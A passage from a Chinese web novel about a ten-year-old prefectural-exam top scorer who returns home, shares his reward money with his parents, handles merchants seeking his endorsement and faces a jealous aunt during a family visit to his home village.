林家府学的学子们,在几位夫子的带领下,整整齐齐地站在最前方。 他们身后,扯着一条巨大的红色横幅,上面用浓墨写着几个大字。 热烈恭贺本学学子陆明渊高中杭州府试案首”! 周围挤满了看热闹的百姓,一个个伸长了脖子,议论纷纷。 “听说了吗?就是那个陆家村的陆明渊,前阵子县试得了魁首,这次去府城考试,又拿了个第一!” “我的乖乖,这叫案首!府试案首啊!这可是咱们江陵县几十年来头一份的荣耀!” “可不是嘛!你看林家府学这架势,这是把陆案首当成活招牌了啊!” 在万众瞩目之下,商队缓缓停下。 陆明渊从一辆马车上走了下来,一身青衫,身姿挺拔,虽年仅十岁,但眉宇间的沉静与从容,却让所有喧嚣都为之一静。 “陆案首回来了!” 不知是谁喊了一声。 瞬间,人群爆发出雷鸣般的欢呼声。 林家府学的夫子们一拥而上,将陆明渊围在中间,嘘寒问暖,恭维之声不绝于耳。 陆明渊微笑着一一回应,举止得体,不卑不亢,更让众人暗暗称奇。 一路之上,鞭炮齐鸣,锣鼓喧天,他就这样被簇拥着,风光无限地回到了林家府学。 府学之内,早已摆好了庆功宴。 林家三爷亲自等候在门口。 “明渊啊,你可真是为我们林家府学,为我们整个江陵县,争了一口天大的气啊!” 林三爷的声音洪亮,充满喜悦。 “好!好!好!英雄出少年,古人诚不我欺!” 一番勉励之后,林三爷拍了拍手,立刻有下人端着一个盖着红布的托盘上来。 “我林家府学,向来有奖掖后进的规矩。” 林三爷掀开红布,露出下面码得整整齐齐的银锭。 “这是五百两纹银,算是府学对你的一点心意,望你再接再厉,在院试之中,再创佳绩!” 五百两! 周围的学子们顿时响起一片倒吸冷气的声音,眼中满是羡慕与嫉妒。 这可是一笔巨款,足够一个普通人家富足地过上一辈子了。 陆明渊眉头微皱,正要推辞:“三爷,这……” “诶!” 林三爷却不由分说地将托盘塞到他手中,语气不容置疑。 “这是规矩!是我们林家府学对人才的敬重!你若不收,便是看不起我们林家了!” 话说到这个份上,陆明渊便不好再推辞,只得躬身行礼。 “如此,便多谢三爷厚爱了。” 他心中明白,这五百两银子,既是奖励,也是一种投资。 他陆明渊走到哪里,身上都将带着“林家府学”的标签。 对此,陆明渊也并不介意! 出身何家府学,对他来说,毫无影响! …… 婉拒了府学更为盛大的庆功宴,陆明渊怀揣着沉甸甸的五百两银票,回到了那个位于城南小巷的家中。 推开那扇熟悉的木门,院子里,两道身影正焦急地等待着。 正是他的父亲陆从文,与母亲王氏。 “渊儿!” 王氏第一个看见他,眼圈瞬间就红了,快步走上前来,一把抓住儿子的手,声音哽咽。 “回来了,平安回来就好……瘦了,在外面肯定吃了不少苦。” 父亲陆从文跟在后面,这个憨厚老实的汉子,此刻手都不知道该往哪里放。 他张了张嘴,想说些什么,最终却只是讷讷地吐出几个字。 “……回来啦。” “爹,娘,我回来了。” 陆明渊看着父母鬓边新增的白发,心中一暖。 饭桌上,王氏拿出全部的看家本领,做了一桌子丰盛的饭菜。 一家人围坐在一起,气氛却有些奇妙的沉默。 王氏是止不住的笑意,一个劲儿地给儿子夹菜,嘴里念叨着“多吃点,补补身子”。 陆从文则显得有些拘谨,他甚至不敢直视儿子的眼睛。 仿佛坐在对面的不是他的儿子,而是一位高高在上的大人物。 他只是埋头吃饭,偶尔抬起头,用一种不敢相信的眼神,偷偷瞥一眼陆明渊。 陆明渊将这一切看在眼里,心中微叹。 饭后,陆明渊将那五百两银票郑重地放在了桌上。 “爹,娘,这是林家府学奖励的。” 看到那张“五百两”的银票,陆从文和王氏都惊得站了起来。 “五……五百两?” 陆从文的声音都在发抖,他这辈子都没见过这么多钱。 王氏也是震惊不已,但她毕竟出身大户,很快便镇定下来,眼中却也闪烁着激动的泪光。 陆明渊没有给他们太多震惊的时间,而是平静的开口,说出了自己早已盘算好的计划。 “娘,你别再没日没夜地做那些刺绣了,伤眼睛。” “咱们拿出二百两银子,在县里最热闹的街上,盘一个大点的铺子,还叫‘魁首纺’” “你只管掌总,教几个手艺好的绣娘,负责监工和设计新花样就行,别再自己动手了。” 王氏愣住了,怔怔地看着儿子。 不等她说话,陆明渊又转向父亲陆从文。 “爹,你也不用再去给人当佃户,看人脸色了。” 他的声音沉稳而有力,“我再拿出一百五十两,给你也盘个店面,就开一家饭馆。” “我……我开饭馆?” 陆从文指着自己的鼻子,一脸的难以置信。 “我一个种地的,哪会做什么生意?” “会的。” 陆明渊的眼神充满了鼓励与自信。 “爹你常年在乡下,跟那些猎户都熟。咱们的饭馆,就专门经营野味!” “你负责去各个村子收购最新鲜的山鸡、野兔、獐子,保证货源。咱们就主打一个‘鲜’字。” “店名我都想好了,就借用一下我的名头。招牌上就写——‘双魁楼’!” “县试府试双魁首,亲自为家乡父老推荐的野味馆!只要咱们把控好食材的品质,味道做得地道,还怕没生意吗?” 第088章 四宝斋的掌柜,张老板! “渊儿,这……这钱太多了。” 陆从文的声音艰涩。 “爹没用,不能给你挣下家业,反倒要用你的前程钱……这不行,绝对不行!” 王氏也从喜悦的泪水中回过神来,脸色坚决。 她将那张银票推回到陆明渊面前,柔声道。 “渊儿,你的心意,爹娘都懂。但你爹说得对,这是你的前程。你往后读书、游学、赶考、打点人情,哪一样不要花钱?” “等你将来中了举,娶一房好媳妇,置办聘礼,更是一笔大开销。这钱,你必须自己收着,一文都不能动!” 她看着儿子,眼中满是慈爱与愧疚。 “至于铺子的事,不着急。娘的身子骨还硬朗,再做几年绣活,总能攒下些家底。咱们慢慢来,不能耽误了你的正事。” 母亲的话,温婉却坚定。 陆明渊心中温暖,却没有收回银票。 他知道,若不打破父母这种“一切为了儿子”的牺牲心态,这个家就永远无法真正地挺起脊梁。 他自己也会被这份沉重的爱,压得喘不过气。 他沉默了片刻,从怀中又取出一张折叠整齐的票据,轻轻放在了桌上,与那五百两的银票并排而列。 这张票据的纸张更为考究,上面用朱砂印着杭州府官府的印信,字迹也更加端庄大气。 “爹,娘,你们看这是什么。” 陆从文和王氏疑惑地凑了过去,当他们看清票据上的字样时,再一次被震惊得无以复加。 “壹……壹仟两?” 陆从文的眼珠子都快瞪出来了,他结结巴巴地念着,仿佛不认识这几个字。 “杭州府……赏?” 王氏更是用手捂住了嘴,生怕自己惊呼出声。 一千两! 这已经不是一笔巨款了,这是足以改变一个家族命运的财富! “这是周大人以杭州府的名义,对此次府试前三甲的额外嘉奖。” 陆明渊的声音平静如水,却带着一种安定人心的力量。 “孩儿侥幸,身为案首,得银一千两。” 他将这张千两银票推到自己面前,然后又将那五百两的银票,重新推到父母面前,目光清澈,神情郑重。 “爹,娘。这一千两,是官府的赏赐,是孩儿的功名钱。我将它留下,作为日后求学、婚娶之用,绝不动用分毫。” “而这五百两,是林家府学的奖励,是师门对我这个学子的心意。” “我把它交给你们,用来改善家里的生计,开创一份家业。” “若你们执意不收,便是觉得孩儿不孝顺父母” 他的声音陡然拔高了几分,带着一丝不容置疑的决绝。 “若此事传扬出去,外人会如何看我陆明渊?一个连父母都不肯奉养的读书人,一个拿着师门奖励只顾自己的不孝子!” “如此名声,我还如何立足于世?还谈何科举,谈何光宗耀祖?” “不孝”二字,狠狠地敲在了陆从文和王氏的心上。 在这个时代,孝道大过天。 一个读书人若是背上了不孝的骂名,那便等于前程尽毁,一辈子都抬不起头来。 他们哪里想得到,自己一片为儿子着想的苦心,竟会被儿子从这个角度,说出如此严重的后果。 “不……不是的,渊儿,我们不是这个意思!” 王氏顿时慌了神,脸色都白了,连忙摆手。 陆从文更是急得满头大汗,这个老实巴交的汉子,嘴笨舌拙,一时间竟不知该如何辩解。 他涨红着脸,一个劲儿地说:“渊儿,你别误会,爹娘……爹娘……” 看着父母惊慌失措的模样,陆明渊心中微酸,语气却放缓了下来。 “爹,娘,孩儿知道你们是为我好。但孩儿已经长大了,也该为这个家分担一些了。” “你们若真的疼我,就收下这笔钱,把‘魁首纺’和‘双魁楼’开起来。” “你们的日子过得好了,安稳了,孩儿在外读书才能安心,才能没有后顾之忧。” 一番话,说得陆从文和王氏再也找不出任何拒绝的理由。 王氏的眼泪再次夺眶而出,这一次,却是感动与骄傲的泪水。 仿佛一夜之间,那个还需要她呵护的孩子,已经可以为家庭遮风挡雨。 陆从文沉默了许久,重重地点了点头,伸出那双布满老茧的手,将银票收了过来。 他没有再说什么,但那重新挺直的腰杆,那双重新燃起火焰的眼睛,已经说明了一切。 压抑的气氛终于烟消云散,一家人重新恢复了温馨。 一直乖乖坐在旁边小板凳上,啃着一个馒头,听得云里雾里的小陆明泽,见状立刻丢下馒头。 他迈着小短腿跑到陆明渊身边,仰着小脸,奶声奶气地喊:“哥哥,抱!” 陆明渊心中所有的沉重,都在这一声呼唤中化为乌有。 他笑着将弟弟抱了起来,放在自己的腿上,顺手从桌上拿起一只最大的鸡腿,塞到了他油乎乎的小手里。 “唉,吃。” 陆明泽顿时眉开眼笑,抱着比他小脸还大的鸡腿,“嘎”地咬了一大口,满嘴流油。 他吃得香甜,还不忘将鸡腿举到陆明渊嘴边,含糊不清地说道:“哥哥……吃!” 陆明渊笑着咬了一小口,揉了揉他的小脑袋。 兄弟二人你一口我一口,分食着一只鸡腿,这一幕看得陆从文和王氏脸上都露出了欣慰的笑容。 …… 饭后,夜深人静。 陆明渊躺在自己那张熟悉的硬板床上,枕着手臂,感慨万千。 去杭州府不过半月,却仿佛恍如隔世。 经历了府试的波澜,见识了周泰那样的封疆大吏,也与林博文那样的天之骄子立下了君子之约。 可到头来,还是这个狭小却温暖的小院,这张简陋却安稳的床铺,最能让他心安。 这里,才有家的感觉。 他仔细盘算了一下,自己穿越到这个世界,满打满算也不到半年光景。 从一个被家族牺牲的农家少年,到县试魁首,再到如今的府试案首,他的人生已经发生了翻天覆地的变化。 时间过得真快啊…… 正思绪万千之际,一个温热的小身子拱了过来,紧紧地贴着他。 弟弟陆明泽不知何时也爬上了他的床,像只小猫一样,把脑袋埋在他的怀里,轻轻地蹭着,嘴里还发出满足的呓语。 陆明渊不由失笑,心中的万千思绪瞬间被这柔软的触感抚平。 他伸出手,将弟弟瘦小的身子搂得更紧了些,感受着那均匀的呼吸,不再多想。 这一夜,他睡得格外安稳。 第二天,陆明渊一觉睡到了日上三竿。 连日来的舟车劳顿,以及在杭州府时刻紧绷的心神,让他疲惫到了极点。 当他伸着懒腰走出房门时,浑身都透着一股说不出的舒泰。 母亲王氏正在院子里晾晒衣物,见到他起床,立刻停下了手中的活计,脸上露出慈爱的笑容。 “渊儿醒啦?快去洗漱,娘给你把早饭热一热。” “娘,不用麻烦,我自己来就行。” “那哪儿成!” 王氏嗔怪地瞪了他一眼,转身便进了厨房。 正说着,一个肉乎乎的小身影从院子角落的小石墩上跳了下来,迈开小短腿,“哒哒哒”地朝他跑来。 陆明泽一把抱住了他的大腿,仰着脸,脆生生地喊道:“哥哥,抱抱!” 陆明渊被弟弟这可爱的模样逗得哈哈大笑,弯腰将他抱了起来,在他粉嫩的脸蛋上亲了一口,惹得小家伙咯咯直笑。 阳光,庭院,慈母,幼弟。 这一刻的和谐与宁静,让陆明渊感到无比的满足。 然而,就在这温馨的时刻,院子那扇陈旧的木门,被人“叩叩叩”地敲响了。 敲门声不急不缓,沉稳有力,显示出来客极有教养。 陆明渊有些好奇,他抱着弟弟,扬声道:“谁啊?” 门外传来一个略显苍老,却中气十足的声音,语气中带着一丝不易察觉的恭敬。 “请问,此处可是陆案首,陆明渊公子的府上?” 陆明渊眉头微挑。 来人没有自报家门,却准确地叫出了他的身份和名号。 他将弟弟放下,走上前去,拉开了门栓。 门外站着一位身穿锦缎员外袍的老者,精神矍铄,身后还跟着两个身强力壮的伙计,手里都捧着精致的礼盒。 看清来人的面容,陆明渊的瞳孔微微一缩。 此人他认得,正是江陵县最大的商行,也是大乾王朝三大商行之一——四宝斋的掌柜,张老板! 第089章 这可真是门庭若市啊! “陆案首!哦不,现在该叫陆府首了!恭喜!恭喜啊!” 张掌柜一见陆明渊,便拱手作揖,笑得合不拢嘴。 “昨日府试放榜,小人就想来道贺,又怕打扰了府首休息,这才等到今日。” “张老板客气了。” 陆明渊侧身让他进来。 “快请进。” 张掌柜摆摆手,示意伙计将那红木长匣抬进院中,小心翼翼地放在石桌上。 他亲自上前,打开了匣盖。 霎时间,一股雅致的墨香与名贵木料的清香弥漫开来。 匣内铺着明黄色的绸缎,上面静静地躺着一套文房四宝。 那是一方色泽紫中带青,石质细腻温润的端砚;一支笔杆温润如玉,笔锋凝聚如锥的狼毫。 一锭光泽如漆,隐有松香的徽墨;一叠洁白如雪,薄可见光的宣纸。 饶是陆明渊两世为人,也看得出这套文房四宝绝非凡品,其价值,恐怕不下数百两银子。 “府首大才,即将踏上青云之路,宝剑需配英雄,好马当配好鞍。” “区区薄礼,不成敬意,还望府首莫要嫌弃,这算是我们四宝斋的一份心意!”张掌柜说得恳切至极。 陆明渊眉头微蹙,这礼太重了。 他正要开口拒绝,脑中却念头一转。 当初买房,这张掌柜确实尽心尽力,自己也承了他一份人情。 商贾逐利,他送来如此重礼,所求的无非是自己的名声。 这份人情,与其欠着,不如今日就此还了。 想到这里,他原本要说出口的拒绝,变成了温和的笑意。 “如此,便多谢张老板美意了。” 陆明渊坦然收下,“当初买房之事,多亏老板帮忙。我平日里也常在贵店购置笔墨,若是老板不嫌弃,倒是可以借此宣传一二,也算是我为四宝斋尽一份心意。” 张掌柜闻言,眼中瞬间爆发出狂喜的光芒! 他来此的目的,正是为此! 他想过无数种说辞,甚至准备了若是被拒绝该如何转圜,却万万没想到,陆明渊竟如此通透,主动提了出来! 这位年仅十岁的府首,其心智之成熟,为人处世之老练,简直骇人听闻! “哎呀!那可真是太好了!太好了!” 张掌柜激动地搓着手,连连点头,“能得府首青睐,乃是小店三生有幸!求之不得,求之不得啊!” 陆明渊微微一笑,转身进屋,取来纸笔,当场挥毫,写下“文房之宝,四宝为斋”八个大字。 字迹笔走龙蛇,气势磅礴,又透着一股少年人的锐气。 张掌柜如获至宝,小心翼翼地将墨宝吹干,卷好,对着陆明渊又是一番千恩万谢。 他心中清楚,有了这幅字,四宝斋在江陵县,乃至整个浙江省的名声,都将再上一个台阶! 送走了张掌柜,陆明渊本以为可以清净片刻。 谁知,这张掌柜仿佛只是一个开端。 他前脚刚走,院门外便又热闹了起来。 “福来客栈,恭贺陆府首高中!” “城东锦绣绸缎庄,特来拜见陆府首!” “济世堂药铺……” 一时间,各行各业的老板、掌柜,纷纷涌了过来。 他们显然都在附近等候多时,见四宝斋的张掌柜出来,便知道时机已到。 一时间,小小的院门前车水马龙,各种贺礼堆积如山,绫罗绸缎、名贵药材、精致点心,应有尽有。 这些人远比张掌柜要直接,言语间无不透露出想借陆明渊这位县试、府试双魁首的名头,为自家生意增光添彩的意图。 陆明渊一个头两个大。 他明白,名声是柄双刃剑,用得好能平步青云,用得不好,便会反噬自身。 四宝斋是文人雅事,他可以应下,但若是连酒楼、布庄、药铺都随意挂上他的名头,那他这个“府首”也就太过廉价了。 于是,他站在门口,对着众人一一拱手,言辞恳切,态度温和,却又坚定地挨个推辞拒绝。 礼物一概不收,只收下那份道贺的心意。 这一番迎来送往,足足持续了一个多时辰。 直到夕阳西斜,院门前才终于恢复了清净。 陆明渊长舒了一口气,只觉得比写一天文章还要累。 “渊儿,快进来喝口水。” 王氏心疼地端来一碗凉茶。 陆明渊刚接过茶碗,还没喝上一口,门外又传来了一个熟悉的声音。 “明渊兄!我可算挤进来了!” 只见林远峰气喘吁吁地跑了进来,他身后没跟下人,手里只拿着一个信封。 “你这可真是……门庭若市啊!” 林远峰擦了把汗,看着陆明渊,脸上是发自内心的笑容。 “恭喜了,府试魁首!我就知道,这头名非你莫属!” “你消息倒是灵通。” 陆明渊笑了笑,将他引到院中石凳坐下。 “那是自然!” 林远峰得意地扬了扬眉,随即脸色一正,将手中的信封郑重地递了过去。 “喏,这是咱们翰墨轩这两个月的收益,刨去所有成本,净赚的。账本还在铺子里,你随时可以去查。” 陆明渊接过信封,入手便是一沉。 正在此时,陆从文提着一条刚买的肥鱼从后门走了进来,准备给儿子好好补补。 他看到林远峰,憨厚地笑了笑,正要打招呼,目光却不经意间瞥到了那信封里露出一角的东西。 那是一张银票,上面“壹仟伍佰两”的字样,如同烧红的烙铁,狠狠地烫在了他的眼睛里。 一千……五百两? 这是多少钱? 村里一户人家,一年到头,能攒下五两银子便是天大的丰年。 四十五两的宅子,在他看来已是天文数字。 可现在,这一张薄薄的纸,就是一千五百两? 他活了三十五年,从未见过如此巨款! “爹?” 陆明渊见父亲神色不对,轻声提醒了一句。 陆从文一个激灵,猛地回过神来,脸上血色瞬间褪去,又猛地涨红,呼吸都变得急促起来。 他下意识地看了一眼敞开的院门,声音都变了调。 “门……门……” “爹,关上门。” 陆明渊的声音平静而沉稳,仿佛有一种安定人心的力量。 “哦,哦!对!关门!” 他转过身,看着儿子和林远峰,嘴唇哆嗦着,却一个字也说不出来。 陆明渊站起身,对林远峰说道:“林兄,里屋说话。” 第090章 你放心去考!功名是头等大事! 陆明渊站起身,对林远峰说道:“林兄,里屋说话。” 陆从文还愣在原地,手里那条青鱼啪嗒一声掉在青石板。 王氏端着茶水从厨房出来,见丈夫这副模样,又看了看儿子和林远峰的背影,冰雪聪明的她已然猜到了几分。 她没有多问,只是快步上前,将丈夫手中的鱼捡起来,柔声劝道。 “当家的,先进屋歇歇,我给渊儿他们送茶水去。” 里屋陈设简单,一张八仙桌,几把靠背椅,收拾得一尘不染。 林远峰一坐下,便迫不及待地将那厚实的信封拍在桌上,发出“啪”的一声闷响。 “明渊兄,你猜猜这是多少?” 陆明渊没有去碰那个信封,目光平静如水:“说吧。” “一千五百两!整整一千五百两!” 林远峰伸出三根手指,比划了一下。 “这是刨去所有人工、纸墨、印刷的成本,净赚的银子!三个月!仅仅三个月!” “如今,咱们的生意已经不只在江陵县了,” 林远峰的眼睛亮得惊人,“我把路子铺到了杭州府!那边可比咱们江陵县富庶多了,书一运过去,几乎是瞬间就被抢购一空!” “我估摸着,往后每个月,咱们少说也能稳稳当当净入一千两以上!” 他深吸一口气,将信封推到陆明渊面前,神情无比郑重。 “按照咱们当初的约定,你占五成。这三个月,你应得一千五百两。” “账本就在铺子里,一笔一笔,清清楚楚,你随时都可以过去查验!” 陆明渊看着他,脸上露出一抹温和的笑意,摇了摇头。 “不必了,我信你。” 这简简单单的四个字,比任何契约文书都更有分量。 林远峰只觉得一股暖流从心底涌起,瞬间冲散了那点因为巨款而产生的紧张。 他咧嘴一笑,露出一口白牙,少年人的意气风发尽显无遗。 “好兄弟!” 陆明渊将茶碗放下,神色也认真了些许:“林兄,有件事要提前与你说。” “你说。” “府试已过,接下来便是院试、乡试。科举之路,不敢有丝毫懈怠。我怕是再没有那么多精力投入到话本上了。” 陆明渊看着他,缓缓说道。 “从下个月起,我每个月最多只能给你十万字。你要提前做好准备,无论是找人续写,还是另开新篇,都需早做打算。” 林远峰脸上的笑容微微一僵,眼中的光芒也黯淡了几分。 十万字,比起之前几乎是少了一半还多。 他自然是舍不得的,这翰墨轩的生意,可以说就是陆明渊一个人撑起来的。 但他终究不是寻常的商贾少年,他明白,科举才是陆明渊的正途,是通往青云之上的唯一道路。 话本写得再好,赚得再多,在这大乾王朝,终究是末流小道,上不得台面。 短暂的失落过后,他很快便调整好了心态,重重地点了点头。 “我明白!明渊兄你只管放心去考!功名才是头等大事!” 他拍着胸脯保证道,“十万字就十万字!只要你还肯写,咱们翰墨轩的招牌就倒不了!” “你不知道,现在光是凭着《侠石猴记》打下的江山,就有多少落魄书生抢着要来咱们书铺投稿!” “我如今啊,也是财大气粗,不愁收不到好本子了!” 他这话半是玩笑,半是实情。 他出来创业,家里是不支持的,没给他一两银子,还是他靠着自己积攒下来的年岁钱,才弄出这么个铺子! 陆明渊闻言,也是会心一笑。 他知道,林远峰已经走上了正轨,即便没有自己,他也能将这生意经营得风生水起。 二人又聊了些书铺的近况,林远峰便起身告辞了。 他来得快,去得也快。 送走了林远峰,陆明渊一转身,便对上了父亲陆从文那双茫然与不知所措的眼睛。 “渊儿……” 他张了张嘴,喉结滚动,声音干涩沙哑。 “那……那是……” “是孩儿写话本赚的钱。” 陆明渊平静的回答。 陆从文的身子晃了晃,靠在了门框上,这才勉强站稳。 他看着桌上那个信封,眼神如同看着一头能吞人的猛兽。 沉默了许久,他才像是想起了什么,从怀里小心翼翼地掏出一封已经有些褶皱的信。 “家里……家里来信了。” 他的声音很低,带着一种他自己都未曾察觉的小心翼翼。 “你奶奶……说想你了。” 说完,他抬起头,用一种近乎征询的目光看着自己年仅十岁的儿子。 “渊儿,你看……咱们要不要……一起回去看看?” 那一瞬间,陆明渊的心中涌起一股难以言喻的复杂情绪。 他看着父亲。 这个男人,曾是家里的天,是为他遮风挡雨的山。 父亲的腰背不再像记忆中那般挺直,鬓角也染上了风霜的痕迹。 可不知从何时起,这座山,开始习惯性地弯下腰,将所有的决断与希望,都寄托在了自己这个儿子的身上。 从县试魁首,到府试第一,自己悄然改变了家中的格局。 这种变化,让陆明渊有些无奈,也有些心酸。 他知道,这是父亲憨厚老实的性格使然,他一辈子都在为家庭、为兄弟、为儿子付出,习惯了牺牲,却不习惯做主。 想要改变他,非一日之功。 陆明渊压下心中的思绪,走上前,从父亲手中接过那封信,然后重重地点了点头。 “爹,该回去了。” 他的声音温和而坚定,“咱们是该回去看看奶奶了。” 听到儿子的回答,陆从文浑浊的眼睛里,陡然亮起了一道光。 陆明渊顿了顿,继续说道:“爹,这次回去,咱们顺便在村里看看的。若是合适,就起一座大些的宅子,把奶奶也接到县城来住。” “一来,您和娘亲能时时在跟前尽孝;二来,也免得村里人说闲话,道您当了城里人就忘了老娘,平白污了您的名声。” 他这话,既是为人子,也是为人父一般,将方方面面都考虑得周全。 “再者,我考中府首,按理也该回乡祭祖,告慰列祖列宗。否则,传扬出去,别人会说我陆明渊忘了本,这对我将来的名声,也是大大的不孝。” 陆从文听着儿子条理清晰的安排,激动得嘴唇都在哆嗦。 接到县城?起大宅子? 这些他连想都不敢想的事情,在儿子口中,却是如此的理所当然,如此的顺理成章。 “好!好!好啊!” 他一连说了三个好字,眼眶瞬间就红了。 “我……我这就去准备些礼物带回去!要买最好的点心,最好的布料!” 王氏从屋里出来,脸上也带着温柔的笑意。 她走到陆明渊身边,伸手理了理儿子微乱的衣襟。 “你爹就是这个性子,你别怪他。” “娘,我明白。” 陆明渊轻声说。 “那我这就去铺子里交代一下,把手头的活计都收个尾。” 王氏的眼中满是欣慰与骄傲,“咱们一家人,一起回去!” 第091章 你大哥是什么人,你不知道吗? 次日清晨,天光微熹,晨雾尚未散尽,一辆青布骡车便已停在了陆家的小院门前。 这辆车是陆从文特意去车马行租来的,不算奢华,却也宽敞洁净,足够一家三口坐下。 对于一辈子面朝黄土背朝天的陆从文来说,这已是破天荒的奢侈。 他小心翼翼地将准备好的礼物搬上车。 王氏抱着三岁的陆明泽,陆明渊则跟在身后。 小明泽第一次坐马车,好奇地睁着一双乌溜溜的大眼睛,小手扒着车窗,看着街景不断向后倒退,不时发出一两声兴奋的咿呀声。 王氏温柔地搂着小儿子,目光却不时落在身旁的大儿子身上。 陆明渊还是那般沉静,只是静静地坐着,目光看着窗外。 她心中无比安宁,有这两个儿子在,再多的辛苦都化作了甘甜。 陆从文坐在车辕上,赶车的活计他并不熟练,但依旧挺直了腰杆,手中那根简陋的马鞭,此刻在他手里仿佛成了某种权杖。 从县城到陆家村的路,他走了不知多少遍,或挑着担,或背着筐,从未有哪一次像今天这般,走得如此意气风发,如此扬眉吐气。 马车行得不快,晃晃悠悠,待到村口那棵歪脖子老槐树出现在视野里时,已是晌午时分。 村口田埂上,几个正在歇息的农人最先看到了这辆陌生的骡车,待看清车辕上坐着的人是陆从文时,都愣了一下。 “那不是从文哥吗?他这是发财了?” “发财?我听说他家大郎,就是那个渊小子,考中了府试的案首!那可是咱们整个江陵县的头名!” 一个消息灵通的村民压低了声音,语气里满是惊叹与羡慕。 “案首?老天爷!那不是跟以前中状元差不多?” “差不离了!以后是要当大官的!” 一声惊呼,像是点燃了引线。 “陆家大郎回来啦!府试案首回来啦!” 不知是谁扯着嗓子喊了一句,整个陆家村瞬间就沸腾了。 正在田里忙活的,在家里做饭的,树下纳凉的,全都扔下了手里的活计,潮水般朝着村口涌来。 顷刻之间,小小的骡车便被围得水泄不通。 “从文啊,你可算回来了!你家明渊真是给咱们陆家村长脸了!” 村里的族长陆德海挤在最前面,一张老脸笑得像朵菊花。 “从文哥,这是我家刚下的蛋,给明渊侄儿补补身子,读书最是费神!” 一个妇人提着一小篮土鸡蛋,硬是往车上塞。 “明渊侄儿呢?快让我们瞧瞧咱们江陵县的文曲星长啥样!” 无数张热情、好奇、羡慕、嫉妒的脸庞交织在一起,将这辆小小的骡车变成了一个风暴的中心。 陆从文被这阵仗惊得有些手足无措,一张脸涨得通红,嘴里不停地念叨着。 “乡亲们太客气了,太客气了……” 可那嘴角无论如何也压不住的笑意,却将他心底的自豪与得意展露无遗。 他一边推辞着众人递来的东西,一边小心地护着马车,往家的方向挪动。 往日里不过一炷香的路程,今日却足足走了半个时辰。 当那座熟悉的老宅出现在眼前时,陆从文竟有种恍如隔世之感。 陆明渊率先跳下车,从父亲手中接过大包小包的礼物。 深吸一口气,推开那扇吱呀作响的木门。 院子里,一位头发花白、身形清瘦的老太太正坐在小马扎上,手里拿着针线,缝补着一件旧衣。 听到动静,她抬起头,浑浊的眼睛里先是闪过一丝疑惑。 待看清进来的人是陆从文时,手中的针线“啪嗒”一声掉在了地上。 “娘!” 陆从文眼圈一红,三步并作两步上前,将手里的东西往地上一放,双膝一软,重重地跪在了地上。 “儿子不孝,这么久才回来看您!” 他声音哽咽,一个头重重地磕了下去。 王氏也赶紧拉着陆明渊和陆明泽,跟在丈夫身后跪下。 老太太陈氏的身子颤抖着,她受了长子这结结实实的一拜。 待看到陆明渊也要跟着磕头时,却猛地站起身,快步上前,一把将他搀扶起来。 “使不得,使不得!我的乖孙,你如今是文曲星下凡,身子金贵,哪能再行这般大礼!” 陈氏的脸上,沟壑纵横的皱纹里,盛满了难以抑制的笑意与泪水。 她将陆明渊拉到自己身边,一双粗糙的手在他身上、脸上仔仔细细地摸索着。 “好,好……长高了,也结实了……” “咱们老陆家,祖坟上冒青烟了!终于出了一个读书种子!你爷爷……你爷爷的在天之灵,也该安息了!” 激动过后,陈氏擦了擦眼泪,神情变得无比肃穆。 她牵着陆明渊的手,郑重地说道。 “渊儿,走,跟奶奶去给你爷爷上炷香,把这个好消息,亲口告诉他老人家。” 东厢房里,供奉着陆家列祖列宗的牌位,正中央的,便是陆明渊的祖父陆老太爷。 陈氏点燃三炷清香,递到陆明渊手中。 陆明渊接过香,恭恭敬敬地对着牌位拜了三拜,然后将香插入香炉。 青烟袅袅升起,带着一丝檀木的清香,在昏暗的房间里弥漫开来。 他跪在蒲团上,郑重地磕了三个响头。 “孙儿明渊,幸不辱命,已中府试案首,特来告慰祖父及列祖列宗在天之灵。” 他的声音不大,却清晰而沉稳,回荡在这小小的祠堂里。 陆从文和不知何时赶来的三叔陆从智一家子,都排在他身后。 等到陆明渊起身,他们才挨个上前,对着牌位磕头。 走完了流程,陈氏拉着陆明渊的手不肯放,将他和陆从文带到了里屋。 陆从文这才想起,将带回来的礼物一一搬了进来,在桌上摆开。 “娘,这是渊儿他娘给您做的衣裳,这是城里最好的福源记点心,还有这几匹布,您留着做几身新衣服穿。” 陈氏看着满桌子的东西,嘴上嗔怪着“瞎花钱”,眼睛却笑得眯成了一条缝。 陆从文搓了搓手,有些紧张地开口道:“娘,我跟渊儿商量了。这次回来,想在村里寻块好地,起一座大些的宅子。” “然后……然后把您接到县城里去住,以后就城里和老家换着住。您看……” 老太太还没来得及开口,一个尖厉的声音就从门口传了进来。 “哟,大哥这真是富贵了啊!又是起大宅子,又是接娘去城里享福,真是好大的孝心呐!” 众人回头望去,只见三婶赵氏正倚在门框上,双手抱胸,脸上带着一丝若有若无的讥讽。 她扭着腰走进来,目光在那些礼物上扫了一圈,撇了撇嘴。 “可这孝心,怎么就光想着娘,不想着你这唯一的亲弟弟呢?” “我可听说了,明渊中了府试魁首,官府奖励了一千两银子呢!啧啧,一千两,那得是多少钱啊。” 她阴阳怪气地说道:“大哥大嫂在城里吃香的喝辣的,住着大房子,我跟你们三叔,还有明文,可还在村里刨土坷垃呢。” “这装出来的孝顺,给谁看呢?外人知道了,还不是要戳着脊梁骨说闲话,说你陆从文当了城里人,就忘了本,连亲兄弟都不顾了!” 赵氏的一番话,像是一盆冰水,瞬间浇熄了屋里刚刚升腾起来的喜悦和温馨。 陆从文的脸“唰”地一下就白了,嘴唇哆嗦着,想反驳,却因为那憨厚老实的性子,一时间竟不知该如何开口。 王氏的脸色也沉了下来,将陆明泽往怀里紧了紧,眼中闪过一丝怒意。 老太太陈氏的笑容僵在脸上,眉头紧紧地皱了起来,呵斥道。 “老三家的,你胡吣什么!你大哥是什么人,你不知道吗?” “我当然知道!” 赵氏的声音陡然拔高了几分。 “他就是个老实头,可老实头也架不住身边有人吹枕边风啊!再说了,一千两银子啊,娘!那可是一千两!” “他但凡心里有我们这个家,手指缝里漏一点出来,也够我们明文在县学里打点,舒舒服服地念书了!” “可他呢?提都不提一句!这不是忘了本是什么?” 她的话句句扎在陆从文的心窝子上。 他最重情义,最怕别人说他忘了兄弟,忘了本。 此刻被弟媳当着母亲和儿子的面如此指责,他只觉得脸上火辣辣的。 “我……我没有……” “啪。” 一声轻响,在这死寂的屋子里显得格外清晰。 第092章 五年的束脩,不过百十两银子 陆明渊将手中的粗瓷茶杯,轻轻放回了桌上。 “三婶方才的话,侄儿都听见了。” 赵氏双手抱胸,下巴一扬,阴阳怪气地说道。 “听见了又如何?难道我说错了?你们大房如今是攀上高枝了,哪里还看得上我们这些在泥地里打滚的穷亲戚。” 